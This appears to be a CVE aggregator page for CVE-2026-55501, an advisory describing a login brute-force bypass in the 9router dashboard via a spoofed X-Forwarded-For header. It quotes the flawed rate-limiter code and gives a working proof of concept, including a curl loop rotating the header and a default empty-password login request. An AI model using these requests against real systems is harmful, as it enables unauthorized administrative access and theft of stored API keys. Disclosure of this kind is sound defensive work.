CVE-2026-55501

HIGHPre-NVD 7.37.3
EchelonGraph scoreLOW confidence

This high-severity CVE scores 7.3 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
7.3
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: CVSS: 7.3Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

9router: Login brute-force protection bypass via spoofed X-Forwarded-For header

Summary

The 9router dashboard login rate limiter derives the client identity from the attacker-controlled X-Forwarded-For HTTP header. When 9router is directly exposed, or deployed behind a reverse proxy that does not overwrite untrusted forwarding headers, a remote attacker can rotate the X-Forwarded-For value on each login attempt and receive a fresh rate-limit bucket every time.

This bypasses the dashboard brute-force protection and makes the login lockout mechanism ineffective.

Details

| Component | File | Note | | ---------------------------- | --------------------------------- | --------------------------------------------------------------------------- | | Dashboard login rate limiter | src/lib/auth/loginLimiter.js | Uses X-Forwarded-For as the client identity without a trusted-proxy check | | Dashboard login route | src/app/api/auth/login/route.js | Calls checkLock() and recordFail() using the spoofable client identity |

Vulnerable Code

src/lib/auth/loginLimiter.js:

export function getClientIp(request) {
  const xff = request.headers.get("x-forwarded-for");
  if (xff) return xff.split(",")[0].trim();
  return request.headers.get("x-real-ip") || "unknown";
}

The returned value is used as the key for the in-memory rate-limit state:

const attempts = new Map(); // ip -> { fails, lockUntil, lockLevel, lastFailAt }

The login route uses this value when checking and recording failed login attempts:

export async function POST(request) {
  const ip = getClientIp(request);
  const lock = checkLock(ip);

if (lock.locked) { return NextResponse.json( { error: Too many failed attempts. Try again in ${lock.retryAfter}s. }, { status: 429 } ); }

// ... password validation ...

recordFail(ip); }

Because X-Forwarded-For is accepted directly from the request, each unique header value creates a new rate-limit bucket with zero previous failures. An attacker can therefore bypass both the 5-attempt threshold and the progressive lockout durations.

PoC

Step 1 — Baseline: rate limiter triggers when the client identity is stable

Send repeated failed login attempts with the same X-Forwarded-For value:

POST /api/auth/login HTTP/1.1
Host: localhost:20128
Content-Type: application/json
X-Forwarded-For: 1.1.1.1

{"password":"wrong-password"}

Observed behavior:

| Attempt | Response | | ------- | ----------------------------------------------------- | | 1 | Invalid password. 4 attempt(s) left before lockout. | | 2 | Invalid password. 3 attempt(s) left before lockout. | | 3 | Invalid password. 2 attempt(s) left before lockout. | | 4 | Invalid password. 1 attempt(s) left before lockout. | | 5 | Too many failed attempts. Try again in 30s. | | 6 | Too many failed attempts. Try again in 30s. |

This confirms that the lockout logic works when all attempts are assigned to the same rate-limit bucket.

Step 2 — Bypass: rotate X-Forwarded-For on each request

Send failed login attempts while changing the X-Forwarded-For value for every request:

for i in $(seq 1 10); do
  curl -s -X POST "http://localhost:20128/api/auth/login" \
    -H "Content-Type: application/json" \
    -H "X-Forwarded-For: 10.0.0.$i" \
    -d '{"password":"wrong-password"}'
  echo
done

Observed response for every request:

{
  "error": "Invalid password. 4 attempt(s) left before lockout.",
  "remainingBeforeLock": 4
}

The counter resets to the initial state on every request, and the lockout is never triggered.

Step 3 — Impact amplifier: default dashboard password

If the instance is still using the default dashboard password, the rate-limit bypass allows an attacker to avoid lockout while attempting to authenticate.

Example request:

POST /api/auth/login HTTP/1.1
Host: localhost:20128
Content-Type: application/json
X-Forwarded-For: 99.99.99.99

{"password":""}

Observed response on a default installation:

HTTP/1.1 200 OK
Set-Cookie: auth_token=; Path=/; HttpOnly; SameSite=lax

{
  "success": true
}

The default password is an impact amplifier, not the root cause. Even if an administrator changes the password, the rate limiter remains structurally bypassable because the attacker controls the rate-limit key.

Attack Scenario

  • A remote attacker identifies a publicly reachable 9router dashboard.
  • The attacker sends repeated login attempts to /api/auth/login.
  • For each attempt, the attacker changes the X-Forwarded-For header value.
  • 9router treats each request as a different client and assigns a fresh rate-limit bucket.
  • The attacker can continue brute-force attempts without triggering the configured lockout.
  • If the instance uses a weak or default dashboard password, the attacker can gain administrative access.

Impact

A successful attacker can bypass the dashboard login lockout mechanism and perform unlimited brute-force attempts against the 9router dashboard password.

If authentication succeeds, the attacker can gain administrative access to the 9router dashboard and may be able to:

* Access configured provider credentials and API keys. * Change dashboard and authentication settings. * Disable login protection if the application allows it. * Create persistent API keys or other long-lived access tokens. * Modify application configuration. * Chain the access with other server-side functionality exposed by the dashboard.

CVSS v3
7.3
EG Score
7.3(low)
EPSS
KEV
Not listed

Published

July 6, 2026

Last Modified

July 6, 2026

Vendor Advisories for CVE-2026-55501(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 1× in last 7d / 1× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-06 22:35 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-55501?
CVE-2026-55501 is a high vulnerability published on July 6, 2026. 9router: Login brute-force protection bypass via spoofed X-Forwarded-For header Summary The 9router dashboard login rate limiter derives the client identity from the attacker-controlled X-Forwarded-For HTTP header. When 9router is directly exposed, or deployed behind a reverse proxy that does not…
When was CVE-2026-55501 disclosed?
CVE-2026-55501 was first published in the National Vulnerability Database on July 6, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-55501?
CVE-2026-55501 has a CVSS v4.0 base score of 7.3 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-55501?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-55501, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-55501

Explore →

Is Your Infrastructure Affected by CVE-2026-55501?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.